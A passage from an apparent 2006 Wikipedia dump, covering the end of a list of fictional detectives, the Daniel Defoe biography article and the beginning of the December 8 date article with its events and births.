*[[Joe Caneili]] &amp;mdash; [[Hayford Peirce]]
*[[Rex Carver]] &amp;mdash; [[Victor Canning]]
*[[The Continental Op]] (He never reveals his name, but he's an operative for the Continental Detective Agency.) &amp;mdash; [[Dashiell Hammett]]
*[[Dan Fortune]] &amp;mdash; [[Dennis Lynds]], aka [[Michael Collins (author)|Michael Collins]]
*[[Cliff Hardy]] &amp;mdash; [[Peter Corris]]
*[[Mike Hammer]] &amp;mdash; [[Mickey Spillane]]
*[[Sherlock Holmes]]  &amp;mdash; Sir [[Arthur Conan Doyle]]
*[[Thomas Magnum]] &amp;mdash; [[Donald P. Bellisario]], [[Glen A. Larson]]:''[[Magnum, P.I.]]'' (TV)
*[[Travis McGee]] &amp;mdash; [[John D. MacDonald]] &lt;!-- Mc alphabetized as Mac --&gt;
*[[Veronica Mars]] &amp;mdash; [[Rob Thomas]]
*[[Philip Marlowe]] &amp;mdash; [[Raymond Chandler]]
*[[Kinsey Millhone]] &amp;mdash; [[Sue Grafton]]
*[[Nameless Detective]] &amp;mdash; [[Bill Pronzini]]
*[[Hercule Poirot]] &amp;mdash; [[Agatha Christie]]
*[[Laura Principal]] &amp;mdash; [[Michelle Spring]]
*[[Precious Ramotswe]] &amp;mdash; [[Alexander McCall Smith]]
*[[Jim Rockford]] &amp;mdash; [[Stephen J. Cannell]] &amp;  [[Roy Huggins]]: ''[[The Rockford Files]]'' (TV)
*[[John Shaft]] &amp;mdash; [[Ernest Tidyman]]
*[[Sam Spade]] &amp;mdash; [[Dashiell Hammett]]
*[[Spenser]] &amp;mdash; [[Robert B. Parker]]
*[[Nero Wolfe]] &amp;mdash; [[Rex Stout]]
*[[Amos Walker]] &amp;mdash; [[Loren D. Estleman]]

===Police detectives===
:''Includes FBI agents, etc.''
* [[Roderick Alleyn]] &amp;mdash; [[Ngaio Marsh]]
* [[Sir John Appleby]] &amp;mdash; [[Michael Innes]]
* [[J. P. Beaumont]] &amp;mdash; [[J. A. Jance]]
* [[Martin Beck]] &amp;mdash; [[Maj Sjöwall]] and [[Per Wahlöö]] ([[Sjöwall and Wahlöö]])
* [[Henri Bencolin]] &amp;mdash; [[John Dickson Carr]]
* [[Lou Boldt]] &amp;mdash; [[Ridley Pearson]]
* [[Harry Bosch]] &amp;mdash; [[Michael Connelly]]
* [[Commissario Guido Brunetti]] &amp;mdash; [[Donna Leon]]
* [[Charlie Chan]] &amp;mdash; [[Earl Derr Biggers]]
* [[Jim Chee]] and [[Joe Leaphorn]] &amp;mdash; [[Tony Hillerman]]
* Lieutenant Columbo &amp;mdash; [[Richard Levinson]] and [[William Link]]: ''[[Columbo]]'' (TV)
* [[De Cock]] &amp;mdash; [[A. C. Baantjer]]
* [[Inspector Espinosa]] &amp;mdash; [[Luiz Alfredo Garcia-Roza]]
* [[Inspector Ghote]] &amp;mdash; [[H. R. F. Keating]]
* Agent [[Leroy Jethro Gibbs]] ''et al.'' ([[Naval Criminal Investigative Service|NCIS]]) &amp;mdash; [[Donald P. Bellisario]] &amp; [[Don McGill]]: ''[[NCIS (TV series)|NCIS]]'' (TV)
* Det. [[Robert Goren]] &amp;mdash; [[Rene Balcer]], [[Elizabeth Benjamin]], ''et al.'': ''[[Law &amp; Order: Criminal Intent]]'' (TV)
* [[Grijpstra and de Gier]], the Amsterdam cops (who later became private eyes) &amp;mdash; [[Janwillem van de Wetering]]
* [[John Hartigan]] &amp;mdash; [[Sin City]]
* [[Robert T. Ironside]] (strictly, an ''ex''-police detective) &amp;mdash; [[Collier Young]]: ''[[Ironside (TV series)|Ironside]]'' (TV)
* [[Richard Jury]]  &amp;mdash; [[Martha Grimes]]
* [[Maigret]] &amp;mdash; [[Georges Simenon]]
* [[Jack Malone]] ''et al.'' ([[Federal Bureau of Investigation|FBI]]) &amp;mdash; [[Hank Steinberg]]: ''[[Without a Trace]]'' (TV) 
* [[Colonel March]] &amp;mdash; [[John Dickson Carr]]
* [[Adrian Monk]] (another ''ex''-police detective) &amp;mdash; [[Andy Breckman]]: ''[[Monk (TV series)|Monk]]'' (TV)
* [[Inspector Morse]] &amp;mdash; [[Colin Dexter]]
* [[John Rebus|Inspector Rebus]] &amp;mdash; [[Ian Rankin]]
* [[Greg Rush]] and [[Rick Chinbroski]] &amp;mdash; [[Steve Copling]]
* [[Charlie Resnick]] &amp;mdash; [[John Harvey (author)|John Harvey]]
* [[Commissaire Tama]] &amp;mdash; [[Hayford Peirce]]
* [[Dick Tracy]] &amp;mdash; [[Chester Gould]]
* [[Kurt Wallander]] &amp;mdash; [[Henning Mankell]]
* [[Inspector Wexford]] &amp;mdash; [[Ruth Rendell]]
* [[Saito Masanobu]] &amp;mdash; [[Janwillem van de Wetering]] (also as [[Seiko Legru]])
* [[Wachtmeister Studer]] &amp;mdash; [[Friedrich Glauser]] (some kind of Maigret in Switzerland)
* [[Luis Mendoza]] &amp;mdash; [[Dell Shannon]]

===Medical examiners, etc.===
* [[Dr Thorndyke]] &amp;mdash; [[R Austin Freeman]]
* [[Dr Priestley]] &amp;mdash; [[John Rhode]]
* [[Reggie Fortune]] &amp;mdash; [[H. C. Bailey]]
* [[Craig Kennedy]] &amp;mdash; [[Arthur B. Reeve]]
* [[Dr Basil Willing]] &amp;mdash; [[Helen McCloy]]
*Dr. [[Temperance Brennan]] &amp;mdash; [[Kathy Reichs]]
*Dr. Eddie &quot;Fitz&quot; Fitzgerald (a criminal psychologist) &amp;mdash; [[Jimmy McGovern]]: ''[[Cracker_(British television)|Cracker]]'' (TV)
*[[Gil Grissom]], Ph.D. ''et al.'' &amp;mdash; [[Anthony Zuiker]]: ''[[C.S.I.: Crime Scene Investigation]]''
*[[Horatio &quot;H.&quot; Caine]] ''et al.'' &amp;mdash; [[Ann Donahue]], [[Carol Mendelsohn]] &amp;  [[Anthony Zuiker]]: ''[[CSI: Miami]]'' (TV)
*Det. [[Mac Taylor]] ''et al.'' &amp;mdash; [[Andrew Lipsitz]] &amp; [[Janet Tamaro]]:''[[CSI: NY]]'' (TV)
*Dr. [[Jane Halifax]] (a forensic psychologist) &amp;mdash; ''[[Halifax f.p.]]'' (TV)
*[[Daphne Matthews]], forensic psychologist &amp;mdash; [[Ridley Pearson]]
*Dr. [[R. Quincy]], M.E. &amp;mdash; [[Glen A. Larson]] &amp; [[Lou Shaw]]: ''[[Quincy, M.E.]]''  (TV)
*Dr. [[Kay Scarpetta]] &amp;mdash; [[Patricia Cornwell]]
*[[Dr. Watson|Dr. John H. Watson]] &amp;mdash; Sir [[Arthur Conan Doyle]]
*[[Dr. Joseph Bell]]

===Others===
*[[Anthony Blake]] (Anthony Dorian in pilot episode) ([[magic (illusion)|magician]]) &amp;mdash; [[Larry Brody]]: ''[[The Magician (television series)|The Magician]]'' (TV)
*[[Jonathan Creek]] (designer of illusions for a magician) &amp;mdash; [[David Renwick]]: ''[[Jonathan Creek]]'' (TV)
*[[Auguste Dupin|Insp. J. Auguste Dupin]], from short stories by [[Edgar Allan Poe]]. One of the earliest fictional detectives.
*[[Perry Mason]] ([[lawyer]]) &amp;mdash; [[Erle Stanley Gardner]]
*[[Ben Matlock]] (lawyer) &amp;mdash; [[Dean Hargrove]]: ''[[Matlock (television series)|Matlock]]'' (TV) 
*[[Tony Petrocelli]] (lawyer) &amp;mdash; [[Harold Buchman]] &amp; [[Sidney J. Furie]]: '''[[Petrocelli]]'''  (TV)
*Tarot (magician) &amp;mdash; [[Trevor Preston]]: ''[[Ace of Wands]]'' (TV)
*[[Arsene Lupin |Arsène Lupin]] (gentleman-thief) [[Maurice Leblanc]]
*[[Batman]] ([[vigilante]]/[[superhero]]) &amp;mdash; [[Bob Kane]] and [[Bill Finger]], first appearance in 1939 comic book '''Detective Comics #27''' (Comics, TV, Movies)
*[[Robert Langdon]] (Professor of Religious Symbology) &amp;mdash; [[Dan Brown]]
*[[Takeshi Kovacs]] (Ultraviolent soldier turned investigator) &amp;mdash; [[Richard Morgan]]

===And for younger readers===
*[[Encyclopedia Brown]] &amp;mdash; [[Donald J. Sobol]]
*[[Nancy Drew]] &amp;mdash; [[Carolyn Keene]] and others
*[[The Famous Five (characters)|The Famous Five]] &amp;mdash; [[Enid Blyton]]
*The [[Hardy Boys]] &amp;mdash; [[Franklin W. Dixon]] and others
*[[The Secret Seven]] &amp;mdash; [[Enid Blyton]]
*The [[Three Investigators]] &amp;mdash; [[Robert Arthur (writer)|Robert Arthur]] and others

===Historical===
:''In chronological order.''
*[[Gordianus the Finder]] ([[Roman Republic]] of the 1st century BCE) &amp;mdash; [[Steven Saylor]]: '''[[Roma sub Rosa]]''' series
*[[Roman Senate|Senator]] Decius [[Caecilius Metellus]] the Younger ([[Roman Republic]] of the 1st century BCE) &amp;mdash; [[John Maddox Roberts]]: '''[[SPQR (series)|SPQR]]''' series
*[[Marcus Didius Falco]] (the [[Roman Empire]] of the 1st century CE) &amp;mdash; [[Lindsey Davis]]
*[[Judge Dee]] (7th-century China) &amp;mdash; [[Robert van Gulik]]
*[[Sister Fidelma]] (7th-century Ireland) &amp;mdash; [[Peter Tremayne]]
*[[Li Kao]] (7th-century China) &amp;mdash; [[Barry Hughart]]
*[[Brother Cadfael]] (12th-century England and Wales) &amp;mdash; [[Ellis Peters]]
*Brother [[William of Baskerville]] (1327) &amp;mdash; [[Umberto Eco]]: ''[[The Name of the Rose]]''
*Brother Athelstan (late [[14th century]] [[London]]) &amp;mdash; [[P. C. Doherty]] (as Paul Harding)

===In science fiction and fantasy===

*[[Basil Argyros]] &amp;mdash; [[Harry Turtledove]] (Byzantine Empire)
*[[Marty Burns]] &amp;mdash; [[Jay Russell (writer)]]
*[[Elijah Baley]] and [[R. Daneel Olivaw]] &amp;mdash; [[Isaac Asimov]]
*[[Lord Darcy]] &amp;mdash; [[Randall Garrett]]
*[[Hawk and Fisher]] &amp;mdash; [[Simon Green]]
*[[Garrett PI]] &amp;mdash; [[Glen Cook]]
*[[Dirk Gently]] &amp;mdash; [[Douglas Adams]]
*Gil &quot;the ARM&quot; Hamilton (of the Amalgated Regional Militia [UN police] in the early [[known space]] history  &amp;mdash; [[Larry Niven]]
*Jonas, der letzte Detektiv &amp;mdash; well done funny &amp; hardboiled radio play in Germany 
*Kline Maxwell &amp;mdash; [[S. Andrew Swann]] (a journalist in [[Dragons of the Cuyahoga]])
*[[Tex Murphy]] &amp;mdash; [[Aaron Conners]]
*[[Nohar Rajasthan]] &amp;mdash; [[S. Andrew Swann]]
*[[Sam Space]] &amp;mdash; [[William Nolan]]
*[[Wendell Urth]] &amp;mdash; [[Isaac Asimov]] 
*His Grace Commander Sir [[Samuel Vimes]] &amp;mdash; [[Terry Pratchett]]'s ''[[Discworld]]'' series

===Other notable authors===
* [[Leigh Brackett]]
* [[Alan Gordon]]
* [[Jack Vance]]

==Detective debuts and swansongs==

Many detectives appear in more than one novel or story. Here is a list of a few [[wikt:debut|debut]] and [[wikt:swansong|swansong]] stories:
{|
! Detective
! Author
! Debut
! Swansong
|-
| [[Brother Cadfael]]
| [[Ellis Peters]]
| ''A Morbid Taste for Bones'' || ''Brother Cadfael's Penance''
|-
| [[Dave Robicheaux]]
| [[James Lee Burke]]
| ''Neon Rain''
|-
| [[Dr. Gideon Fell]]
| [[John Dickson Carr]]
| ''Hag's Nook'' || ''Dark of the Moon''
|-
| [[Father Brown]]
| [[G. K. Chesterton]]
| ''The Blue Cross''
|-
| [[Guido Brunetti]]
| [[Donna Leon]]
| ''Death at La Fenice''
|-
| [[Gordianus the Finder]]
| [[Steven Saylor]]
| ''Roman Blood''
|-
| [[Hercule Poirot]]
| [[Agatha Christie]]
| ''[[The Mysterious Affair at Styles]]'' || ''[[Curtain (novel)|Curtain]]''
|-
| [[Inspector Morse]]
| [[Colin Dexter]]
| ''Last Bus to Woodstock'' || ''[[Remorseful Day]]''
|-
| [[Lord Peter Wimsey]]
| [[Dorothy Sayers]]
| ''Whose Body'' || ''Busman's Honeymoon''
|-
| [[Miss Marple]]
| [[Agatha Christie]]
| ''[[Murder in the Vicarage]]'' || ''Sleeping Murder'' 
|-
| [[Nero Wolfe]]
| [[Rex Stout]]
| ''Fer-De-Lance'' || ''A Family Affair''
|-
| [[Owen Archer]]
| [[Candace M. Robb]]
| ''The Apothecary Rose''
|-
| [[Roderick Alleyn]]
| [[Ngaio Marsh]]
| ''A Man Lay Dead''
|-
| [[Sherlock Holmes]]
| [[Sir Arthur Conan Doyle]]
| ''[[A Study in Scarlet]]'' (in ''Beeton's Christmas Annual'') || ''His Last Bow'' (see also &quot;The Final Problem&quot;)
|-
| [[Jimmy Kudo|Shin'ichi Kudo]] / Conan Edogawa
| [[Gosho Aoyama]]
| ''[[Case Closed|Detective Conan]]''|| &amp;nbsp;
|-
| [[Sir Henry Merrivale]]
| [[Carter Dickson]]
| ''The Plague Court Murders'' || ''The Cavalier's Cup''
|-
| [[Sir John Fielding]] and [[Jeremy Proctor]]
| [[Bruce Alexander]]
| ''Blind Justice''
|-
| [[Spenser]]
| [[Robert B. Parker]]
| ''The Godwulf Manuscript''
|-
| [[Stephanie Plum]]
| [[Janet Evanovich]]
| ''One for the Money''
|-
| [[Travis McGee]]
| [[John D. MacDonald]]
| ''[[The Deep Blue Good-by]]'' || ''[[The Lonely Silver Rain]]''
|-
| [[V.I. Warshawski]]
| [[Sara Paretsky]]
| ''Indemnity Only''
|-
| [[Kinsey Millhone]]
| [[Sue Grafton]]
| '''A' is for Alibi''
|-
| [[Sharon McCone]]
| [[Marcia Muller]]
| ''Leave a Message for Willie''
|-
|}

== Books ==
*''Bloody Murder: From the Detective Story to the Crime Novel - A History'' by Julian Symons ISBN 0571094651
* Stacy Gillis and Philippa Gates (Editors), ''The Devil Himself: Villainy in Detective Fiction and Film,'' Greenwood, 2001. ISBN 0313316554

==See also==
* [[List of detective fiction authors]]
* [[Crime fiction]]
* [[Mystery fiction]]
* [[List of crime writers]]
* [[Whodunit]]

==External resources==
* [http://www.classiccrimefiction.com/ Classic Crime Fiction Website]
* [http://members.aol.com/rrandisi/myhomepage/writing.html Private Eye Writers of America website]
*[http://www.awardannals.com/genre/mystery/ Most Honored Mystery Books]
*[http://gadetection.pbwiki.com/ The Golden Age of Detective Fiction Wiki]

[[Category:Fiction]]
[[Category:Detective fiction|*]]
[[Category:Literary genres]]

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  </page>
  <page>
    <title>Daniel Defoe</title>
    <id>8193</id>
    <revision>
      <id>41512341</id>
      <timestamp>2006-02-27T21:34:37Z</timestamp>
      <contributor>
        <ip>70.16.197.123</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Defoe-daniel.jpg|thumb|200px|right|Daniel Defoe]]
'''Daniel Defoe''' ([[1660]] [?]&amp;nbsp;&amp;ndash; April [[1731]]) was an [[England|English]] [[writer]], [[journalist]] and [[spy]], who gained enduring fame for his novel ''[[Robinson Crusoe]]''.  Defoe is notable for being one of the earliest practitioners of the [[novel]] and helped popularize the genre in [[England]].  He is also a pioneer of [[economic journalism]].

==Biography==
[[Image:Finsbury bunhill defoe 1.jpg|thumb|200px|right|Memorial to Daniel Defoe, [[Bunhill Fields]], [[City Road]], [[London]]. (January 2006)]]
He was born '''Daniel Foe''', probably in the parish of St. Giles [[Cripplegate]], [[London]].  Both the date and the place of his birth are uncertain.   His father, James Foe, though a member of the [[Worshipful Company of Butchers|Butchers' Company]] was a tallow chandler.  Daniel later added the aristocratic sounding &quot;De&quot; to his name and on occasion claimed descent from the family of De Beau Faux. His parents were [[Presbyterian]] [[dissenter]]s, and he was educated in a Dissenting Academy at [[Stoke Newington]] run by Charles Morton (later vice-president of [[Harvard University]]).

After leaving school and deciding not to become a dissenting minister, Defoe entered the world of business as a general merchant, dealing at different times in hosiery, general woollen goods, and wine.   Though his ambitions were great and he bought both a country estate and a ship (as well as [[Civet|civet cats]] to make perfume), he was rarely free from debt.  In [[1692]], Defoe was arrested for payments of £700 (and his cats were seized), though his total debts may have amounted to £17,000.  His laments were loud, and he always defended unfortunate debtors, but there is evidence that his financial dealings were not always honest.  

Following his release, he probably travelled in [[Europe]] and [[Scotland]], and it may have been at this time that he traded in wine to [[Cadiz]], [[Porto]], and [[Lisbon]].  By  [[1695]] he was back in England, using the name &quot;Defoe&quot;, and serving as a &quot;commissioner of the glass duty&quot;, responsible for collecting the tax on bottles.  In [[1696]], he was operating a tile and brick factory in [[Tilbury]], Essex.

Defoe's [[pamphleteer]]ing and political activities resulted in his arrest and placement in a [[pillory]] on [[July 31]], [[1703]], principally on account of a pamphlet entitled &quot;The Shortest Way with Dissenters&quot;, in which he ruthlessly satirised the [[High church]] [[Tory | Tories]], purporting to argue for the extermination of [[dissenter]]s.  The publication of his poem ''Hymn to the Pillory'', however, caused his audience at the [[pillory]] to throw flowers instead of the customary harmful and noxious objects, and to drink to his health.

After his three days in the pillory Defoe went into [[Newgate Prison]]. [[Robert Harley, 1st Earl of Oxford and Mortimer]], brokered his release in exchange for Defoe's co-operation as an intelligence agent. He set up his periodical ''A Review of the Affairs of France'' in 1704, supporting the Harley ministry. The ''Review'' ran without interruption until 1713. When Harley lost power in 1708 Defoe continued writing it to support Godolphin, then again to support Harley and the Tories in the Tory ministry of [[1710]] to [[1714]]. After the Tories fell from power with the death of [[Anne of Great Britain|Queen Anne]], Defoe continued doing intelligence work for the [[Whig]] government.

Defoe's famous [[novel]] ''[[Robinson Crusoe]]'' (1719), tells of a man's shipwreck on a desert island and his subsequent adventures. The author may have based his narrative on the true story of the shipwreck of the Scottish sailor [[Alexander Selkirk]].

Defoe's next [[novel]] was ''[[Captain Singleton]]'' (1720), amazing for its portrayal of the redemptive power of one man's love for another. Hans Turley has recently shown how Quaker William's love turns Captain Singleton away from the murderous life of a pirate, and the two make a solemn vow to live as a male couple happily ever after in London, disguised as Greeks and never speaking English in public, with Singleton married to William's sister as a ruse.

Defoe wrote an account of the [[Great Plague]] of [[1665]]: ''[[A Journal of the Plague Year]]''. 

He also wrote ''[[Moll Flanders]]'' (1722), a [[picaresque novel|picaresque]] first-person narration of the fall and eventual redemption of a lone woman in 17th century England. She appears as a whore, bigamist and thief, lives in [[The Mint]], commits adultery and incest, yet manages to keep the reader's sympathy. Both this work and ''[[Roxana: The Fortunate Mistress]]'' (1724) offer remarkable examples of the way in which Defoe seems to inhabit his fictional (yet &quot;drawn from life&quot;) characters, not least in that they are women.

Daniel Defoe died on April 24 or 25, 1731 and was interred in [[Bunhill Fields]], [[London]].

==Defoe and the Anglo-Scottish Union of 1707==
No fewer than 545 titles, ranging from [[satirical]] poems, political and [[religious]] pamphlets and volumes have been ascribed to Defoe. His ambitious business ventures saw him bankrupt by [[1692]], with a wife and seven children to support. In [[1703]] he published an [[irony|ironic]] attack on the [[High Tories]], and was prosecuted for [[seditious]] [[libel]],  sentenced to be [[pilloried]], fined 200 marks, and be detained at the Queen's pleasure. In despair he wrote to [[William Paterson (banker)|William Paterson]], the London Scot, and founder of the [[Bank of England]] and part instigator of the [[Darién scheme]], who was in the confidence of [[Robert Harley, 1st Earl of Oxford and Mortimer]], leading Minister and [[spymaster]] in the [[English Government]]. Harley accepted Defoe's services and released him in [[1703]]. He immediately published ''The Review'', which appeared weekly, then three times a week, written mostly by himself. This was the main mouthpiece of the English Government promoting the [[Act of Union 1707]]. 

Defoe began his campaign in ''The Review'' and other pamphlets aimed at English opinion, claiming that it would end the threat from the north, gaining for the [[Treasury]] an &quot;inexhaustible treasury of men&quot;, a valuable new [[market]] increasing the power of [[England]]. By September [[1706]] Harley ordered Defoe to [[Edinburgh]] as a [[secret agent]], to do everything possible to help secure acquiescence of the [[Treaty]]. He was very conscious of the risk to himself. Thanks to books such ''The Letters of Daniel Defoe'', (edited by GH Healey, Oxford 1955) which are readily available far more is known about his activities than is usual with such agents. 

His first reports were of vivid descriptions of violent demonstrations against the Union. &quot;A Scots rabble is the worst of its kind,&quot; he reported. Years later [[John Clerk of Penicuik]], a leading Unionist, wrote in his memoirs that, 
:&quot;He was a [[spy]] among us, but not known as such, otherwise the Mob of [[Edinburgh]] would pull him to pieces.&quot;
Defoe being a [[Presbyterian]], who suffered in England for his convictions, was accepted as an adviser to the [[General Assembly of the Church of Scotland]] and committees of the [[Parliament of Scotland]]. He told Harley that he was &quot;privy to all their folly&quot;, but &quot;Perfectly unsuspected as with corresponding with anybody in England.&quot; He was then able to influence the proposals that were put to Parliament and reported back: 
:&quot;Having had the honour to be always sent for the committee to whom these amendments were referrèd, I have had the good fortune to break their measures in two particulars via the bounty on Corn and proportion of the Excise.&quot;

For Scotland he used different arguments, even the opposite of those he used in England, for example, usually ignoring the English doctrine of the [[Sovereignty]] of Parliament, telling the Scots that they could have complete confidence in the guarantees in the Treaty. Some of his pamphlets were purported to be written by Scots, misleading even reputable [[historians]] into quoting them as evidence of Scottish opinion of the time. The same is true of a massive history of the Union which Defoe published in [[1709]] and which some historians still treat as a valuable contemporary source for their own works. Defoe took pains to give his history an air of objectivity by giving some space to arguments against the Union, but always having the last word for himself. 

He disposed of the main Union opponent, [[Andrew Fletcher]] of Saltoun, by just ignoring him. Nor does he account for the deviousness of the [[Duke of Hamilton]], the official leader of the Squadrone Volante against the Union, who finally acted against his comrades in the decisive stages of the debate. Hamilton was to lead an Anti-Union Rebellion of [[1708]], where [[Covenanters]] had marched from [[Galloway]] (and were betrayed at [[Dumfries]]) to unite with [[Jacobites]] at Edinburgh. A [[Highland]] Army camped outside Edinburgh were given the keys by the town guard to let them in. The Illustrious Duke failed to turn up, due to a toothache, and the [[France|French]] [[frigates]] in the [[Firth of Forth]] had to turn back. 

Defoe made no attempt to explain why the same Parliament of Scotland which was so vehement for its [[independence]] from [[1703]] to [[1705]] became so supine in [[1706]]. He received very little reward from his paymasters and, of course, no recognition for his services by the government. He made use of his Scottish experience to write his ''Tour thro' the whole Island of Great Britain'', published in 1726, where he actually admitted that the increase of trade and population in Scotland, which he had predicted as a consequence of the Union, was &quot;not the case, but rather the contrary&quot;. 

Defoe's description of [[Glasgow]] (Glaschu) as a &quot;Dear Green Place&quot; has often been misquoted as a [[Scottish Gaelic|Gaelic]] translation for the town. The Gaelic ''Glas'' could mean grey or green, ''chu'' means dog or hollow. ''Glaschu'' probably actually means 'Green Hollow'. The &quot;Dear Green Place&quot;, like much of Scotland, was a hotbed of unrest against the Union. The local [[St George's-Tron Church, Glasgow|Tron]] [[minister of religion|minister]] urged his congregation &quot;to up and anent for the City of God&quot;. The 'Dear Green Place' and &quot;City of God&quot; required government troops to put down the rioters tearing up copies of the Treaty, as at almost every [[mercat cross]] in Scotland. 

When Defoe revisited in the mid [[1720s]] he claimed that the hostility towards his party was, &quot;because they were English and because of the Union, which they were almost universally exclaimed against.&quot;

==Quotations==
* One day, about noon, going towards my boat, I was exceedingly surprised with the print of a man's naked foot on the shore, which was very plain to be seen on the sand. (''Robinson Crusoe'')

* Wherever God erects a house of prayer the Devil always builds a chapel there; And 'twill be found, upon examination, the latter has the largest congregation. (''The True-Born Englishman'', 1701)

==See also==
* [[Christian anarchism]]
* [[English Dissenters]]
* [[Libertatia]]

== Bibliography ==

* Daniel Defoe, ''A General History of the Pyrates'' ISBN 0486404889 (Dover Publications, 1999) (on Libertatia, a pirate utopia)

==External links ==
{{wikiquote}}
{{Wikisource author}}
* {{gutenberg author|id=Daniel_Defoe|name=Daniel Defoe}}
* [http://www.online-literature.com/defoe/ Daniel Defoe fiction] at [http://www.online-literature.com The Literature Network]
* [http://librivox.org/robinson-crusoe-by-daniel-defoe/ Free audiobook] of ''[[Robinson Crusoe]]'' from [http://www.librivox.org Librivox]

[[Category:1660 births|Defoe, Daniel]]
[[Category:1731 deaths|Defoe, Daniel]]
[[Category:English satirists|Defoe, Daniel]]
[[Category:English essayists|Defoe, Daniel]]
[[Category:English journalists|Defoe, Daniel]]
[[Category:English novelists|Defoe, Daniel]]
[[Category:English spies|Defoe, Daniel]]
[[Category:Neoclassicism|Defoe, Daniel]]
[[Category:Presbyterians|Defoe, Daniel]]
[[Category:Londoners|Defoe, Daniel]]
[[Category:Literary dunces|Defoe, Daniel]]

[[bg:Даниел Дефо]]
[[ca:Daniel Defoe]]
[[cs:Daniel Defoe]]
[[da:Daniel Defoe]]
[[de:Daniel Defoe]]
[[et:Daniel Defoe]]
[[es:Daniel Defoe]]
[[eo:Daniel DEFOE]]
[[fr:Daniel Defoe]]
[[gl:Daniel Defoe]]
[[hr:Daniel Defoe]]
[[is:Daniel Defoe]]
[[it:Daniel Defoe]]
[[he:דניאל דפו]]
[[lt:Danielis Defo]]
[[nl:Daniel Defoe]]
[[ja:ダニエル・デフォー]]
[[no:Daniel Defoe]]
[[pl:Daniel Defoe]]
[[pt:Daniel Defoe]]
[[ru:Дефо, Даниэль]]
[[sl:Daniel Defoe]]
[[sr:Данијел Дефо]]
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[[sv:Daniel Defoe]]
[[zh:丹尼尔·笛福]]</text>
    </revision>
  </page>
  <page>
    <title>December 8</title>
    <id>8194</id>
    <revision>
      <id>42007897</id>
      <timestamp>2006-03-03T04:41:07Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>rv nonsense</comment>
      <text xml:space="preserve">'''December 8''' is the 342nd day (343rd in leap years) of the year in the [[Gregorian calendar]]. There are 23 days remaining.

{{DecemberCalendar}}

==Events==
*[[1609]] - [[Biblioteca Ambrosiana]] opens its reading room, the second public library of Europe.
*[[1854]] - [[Pope Pius IX]] proclaims the dogma of [[Immaculate Conception]], which holds that [[the Virgin Mary]] was born free of [[original sin]].
*[[1869]] - [[Timothy Eaton]] founds [[Eaton's|T. Eaton Co. Limited]] in [[Toronto]], [[Canada]].
*[[1886]] - The [[American Federation of Labor]] is founded by [[Samuel Gompers]] in [[Columbus, Ohio]].
*[[1907]] - King [[Gustaf V of Sweden]] accedes to the Swedish throne.
*[[1914]] - [[World War I]]: [[Battle of the Falkland Islands]] - The [[Kaiserliche Marine]] under the command of Admiral Graf [[Maximilian von Spee]] is engaged by the [[Royal Navy]].
*[[1941]] - [[World War II]]: [[Pacific War]] - After the [[Japanese Empire|Japanese]] [[attack on Pearl Harbour]] the [[Congress of the United States|U.S. Congress]] passes a [[Declaration of war by the United States|declaration of war]] against Japan.
*1941 - World War II: Pacific War - [[China]] officially declares war against [[Japanese Empire|Japan]], after the Japanese attack on [[Pearl Harbour]].
*1941 - World War II: Pacific War - [[The Netherlands]] issues a proclamation in which it declares war against [[Japanese Empire|Japan]], after the Japanese attack on [[Pearl Harbour]].
*1941 - World War II: [[Battle of Hong Kong]] - The Japanese invade the [[British Crown Colony]] of [[Hong Kong]] less than 8 hours after the attack on Pearl Harbour.
*1941 - [[Holocaust]]: [[Gas van]]s are first used as a means of execution, at the [[Chelmno concentration camp]] near [[Łódź]] in [[Poland]].
*[[1949]] - [[Chinese Civil War]]: The capital of the [[Republic of China]] is moved from [[Nanjing]] to [[Taipei]], [[Taiwan]].
*[[1959]] - [[President of the United States]], [[Eisenhower]] watches [[Pakistan]] vs [[Australia]] cricket test match at [[Karachi]].
*[[1966]] - The Greek ferry ''[[Heraklion]]'' sinks in a storm in the [[Aegean Sea]], killing over 200.
*[[1968]] - [[NLS (computer system)|NLS]] (a system for which [[hypertext]] and the [[computer mouse]] were developed) is publicly demonstrated for the first time in [[San Francisco]].
*[[1969]] - An [[Olympic Airlines|Olympic Airways DC-6B crashes]] near [[Athens]] during a storm, killing 93 people.
*[[1972]] - [[United Airlines Flight 533]] crashes near [[Chicago Midway Airport]], killing 45 people.
*[[1976]] - [[The Eagles]] release the album ''[[Hotel California]]''.
*[[1980]] - [[John Lennon]] is murdered by [[Mark David Chapman]] in [[New York City]].
*[[1981]] - [[No. 21 Mine explosion]] in [[Whitwell, Tennessee]] kills 13.
*[[1987]] - The [[Intermediate-Range Nuclear Forces Treaty]] is signed.
*1987 - The [[Queen Street Massacre]]: Frank Vitkovic shoots and kills 8 people at the offices of [[Australia Post]] in [[Melbourne, Australia]] before being killed himself.
*[[1989]] -  Dave S. Clean Date (starts his journey of recovery).
*[[1991]] -  The leaders of [[Russia]], [[Belarus]] and [[Ukraine]] sign an agreement dissolving the [[Soviet Union]] and establishing the [[Commonwealth of Independent States]].
*1991 - The [[Romanian Constitution]] is adopted in a referendum.
*[[1993]] - The [[North American Free Trade Agreement]] (NAFTA) is signed into law by US President [[Bill Clinton]].
*[[1994]] - US President [[Bill Clinton]] signs a bill enacting [[United States]] participation in the [[General Agreement on Tariffs and Trade]].
*[[1998]] - [[Tadjena massacre]]: 81 people are killed by armed groups in [[Algeria]].
*[[2004]] - The [[Cuzco Declaration]] is signed in [[Cuzco]], [[Peru]], establishing the [[South American Community of Nations]].
*2004 - The population of the Australian state of [[Victoria (Australia)|Victoria]] reaches 5 million for the first time.
*2004 - Crazed [[Pantera]] fan [[Nathan Gale]] shoots and kills Pantera guitarist [[Dimebag Darrell]] at a night club in [[Columbus, Ohio]].
*[[2005]] - [[Southwest Airlines Flight 1248]] slides off the runway at [[Chicago Midway Airport]], killing a 6-year-old boy and injuring 11 other people.
*2005 - [[Ante Gotovina]], Croatian army general accused of war crimes, was captured in the [[Playa de las Americas, Santa Cruz de Tenerife]] by the Spanish police

==Births==
*[[65 BC]] - [[Horace]], Roman poet (d. [[8 BC]])
*[[1542]] - [[Mary I of Scotland|Mary Queen of Scots]] (d. [[1587]])
*[[1626]] - Queen [[Christina of Sweden]] (d. [[1689]])
*[[1678]] - [[Horatio Walpole, 1st Baron Walpole of Wolterton]], English diplomat (d. [[1757]])
*[[1708]] - [[Francis I, Holy Roman Emperor]] (d. [[1765]])
*[[1730]] - [[Jan Ingenhousz]], Dutch-born British physiologist and botanist (d. [[1799]])
*[[1765]] - [[Eli Whitney]], American inventor (d. [[1825]])
